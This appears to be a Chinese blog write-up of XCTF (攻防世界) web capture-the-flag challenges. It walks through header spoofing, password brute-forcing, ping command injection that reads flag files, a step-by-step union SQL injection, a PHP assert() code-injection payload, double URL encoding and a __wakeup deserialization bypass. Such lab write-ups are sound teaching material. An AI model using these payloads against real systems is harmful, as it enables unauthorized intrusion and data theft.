攻防世界writeup

前言

自己在做bugku时,同时去做了攻防世界,其中分的也很详细。于是想将自己的writeup记录下来。

web

新手练习

view_source

右键不能使用,那么直接在url中输入view-source:,就能查看源码。
在这里插入图片描述

get_post

就是get传参和post传参。
get传参:
在这里插入图片描述
post传参:
在这里插入图片描述

robots

既然时robots协议,直接查看robots.txt:
在这里插入图片描述
然后发现有个php文件:
在这里插入图片描述
直接进入:
在这里插入图片描述

backup

就是备份文件,一般备份文件就是.bak的文件,直接输入:
在这里插入图片描述
将备份文件下载下来,查看源码就可以的到flag。

cookie

进入后,F12打开开发者工具,找到储存,找到cookie,发现有一个cookie.php文件:
在这里插入图片描述
然后进入cookie.php,发现他让你查看response。
burp suite抓包,查看response。
在这里插入图片描述
就得到了flag。

disabled_button

按钮不能按,一般就是HTML中<button>标签设置了disabled=""。
F12将disabled=""删去,就可以按了,然后就可以得到flag。

simple_js

看题目就知道是考察js的。
进去后先随便输个密码,到网页后查看源码。得到一段js代码。
在这里插入图片描述
观察发现,pass其实没什么用,是假密码。真正的密码在:javascript String[“fromCharCode”];
用python处理:
在这里插入图片描述
每个数字都是ASCII码,转换一下就是:786OsErtk12
在这里插入图片描述
falg就是格式加上那个字符串。

xff_referer

进入就提示:ip地址必须为123.123.123.123
那肯定是改X-Forwarded-For:。用burp suite抓包。
又提示:必须来自https://www.google.com
那就是改referer:.
再抓包。注意,要同时添加xxf和referer。
在这里插入图片描述

weak_auth

进入后是个登陆界面,我输入admin 123后,提醒我密码错误,输入abc 123后提醒我用admin登陆。那么就不需要猜用户名了。登陆失败后,查看源代码,发现:在这里插入图片描述
那肯定就是爆破了。用burp suite抓包,进行密码爆破。
最后密码是:123456

webshell

直接连接菜刀,发现目录下有一个flag.txt,打开就是flag。

command_execution

进去后发现是个ping命令的输入框。
首先要了解,command1 && command2 先执行command1后执行command2;command1 | command2 执行command2,不执行command1;command1 & command2 先执行command2,再执行command1。
于是构造:127.0.0.1 | ls …/…/…/…/home 返回:
在这里插入图片描述
发现flag.txt。于是再构造:127.0.0.1 | cat …/…/…/…/home/flag.txt 得到flag:
在这里插入图片描述

simple_php

简单的代码审计。
在这里插入图片描述
首先是a参数,a与零相等,但不能是零,可以构造:a=0a。
然后是b参数,b不为数字,且b大于1234,可以构造:b=12345b。
传参就可以得到flag。
在这里插入图片描述

高手进阶

ics-06

我刚开始以为是注入题,最后没想到是个坑爹题。
直接对id进行爆破,最后当id=2333时,就可以得到flag。
。。。。。

NewsCenter

这道题就是sql注入的题。

输入1 ’ 报错,输入1 ’ #不报错。

第一步:
输入:1 ’ order by 4#报错,输入1 ’ order by 3#不报错。
说明有三列,进行联合注入。

第二步:
输入1 ’ union select 1,2,database()#
得到数据库:news

第三步:
输入:1 ’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘news’#
得到两张表:news,secret_table
flag肯定再secret_table中。

第四步:
输入:1 ’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘secret_table’#
得到字段:id,fl4g

第五步:
输入:1 ’ union select 1,2,fl4g from secret_table#
得到flag。

mfw

进入about,发现有git,可能时git泄露。
用GitHack进行下载源码。进行代码审计。

//index.php
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// I heard '..' is dangerous!

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

....................html code

			<?php
				require_once $file;
			?>

发现有一个assert函数。assert()函数在验证断言之前将其参数解释为PHP代码。
于是我们可以构造:’) or system(‘cat ./templates/flag.php’);//

得到flag。

NaNNaNNaNNaN-Batman

有一个附件。下载下来是一个压缩包。解压,得到web100文件。
打开后,发现是个脚本,但是是乱码:
在这里插入图片描述
观察到,_应该是个函数,并且在最后eval了。
改后缀为html。并且将eval改为alert,就能得到解码后的代码。

function $(){
	var e=document.getElementById("c").value;
	if(e.length==16)
		if(e.match(/^be0f23/)!=null)
			if(e.match(/233ac/)!=null)
				if(e.match(/e98aa$/)!=null)
					if(e.match(/c7be9/)!=null){
						var t=["fl","s_a","i","e}"];
						var n=["a","_h0l","n"];
						var r=["g{","e","_0"];
						var i=["it'","_","n"];
						var s=[t,n,r,i];
						for(var o=0;o<13;++o){
							document.write(s[o%4][0]);
							s[o%4].splice(0,1)
						}
					}
}
	document.write('<input id="c"><button οnclick=$()>Ok</button>');
	delete _

再将alert改为eval,就得到了个输入框。
分析源码,用正则来构造输入:be0f233ac7be98aa。
输入就得到了flag。

PHP2

进去,没什么可以利用的。找robots.txt也没有。
只能用御剑扫,但是扫了半天,也没个结果。最后去百度了。。。。™的告诉我是phps。。。。
进入后查看源码是一个php代码片段。
观察代码,发现有urldecode()函数,肯定得url编码。这里需要url编码两次,一次是url递交时自动解析的,还有一次就是代码中解析的。
于是可以构造:111.198.29.45:34974/index.phps?id=%2561%2564%256D%2569%256E

unserialize3

从题目就可以看出来,是个反序列化的题。

这道题主要考查了反序列化中的__wakeup函数的漏洞:
一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,可以用来绕过。

在本地搭建环境,来测试:
在这里插入图片描述
然后得到序列化:
在这里插入图片描述
将1改为2,传入到code中就可以得到flag。

结语

持续更新中。。。。

  • 7
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
攻防世界Shuffle是一个在攻防世界平台上的题目,属于Reverse(逆向工程)类别的进阶区的题目。该题目的具体来源是SECCON-CTF-2014比赛。题目要求参与者找到一个字符串在随机化之前的顺序。关于该题目的详细解法可以在提供的博客链接中找到。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [攻防世界 Shuffle](https://blog.csdn.net/afanzcf/article/details/119462993)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [攻防世界Wire1杂项](https://download.csdn.net/download/m0_59188912/87097386)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [攻防世界Reverse进阶区-Shuffle-writeup](https://blog.csdn.net/qq_35056292/article/details/108676766)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值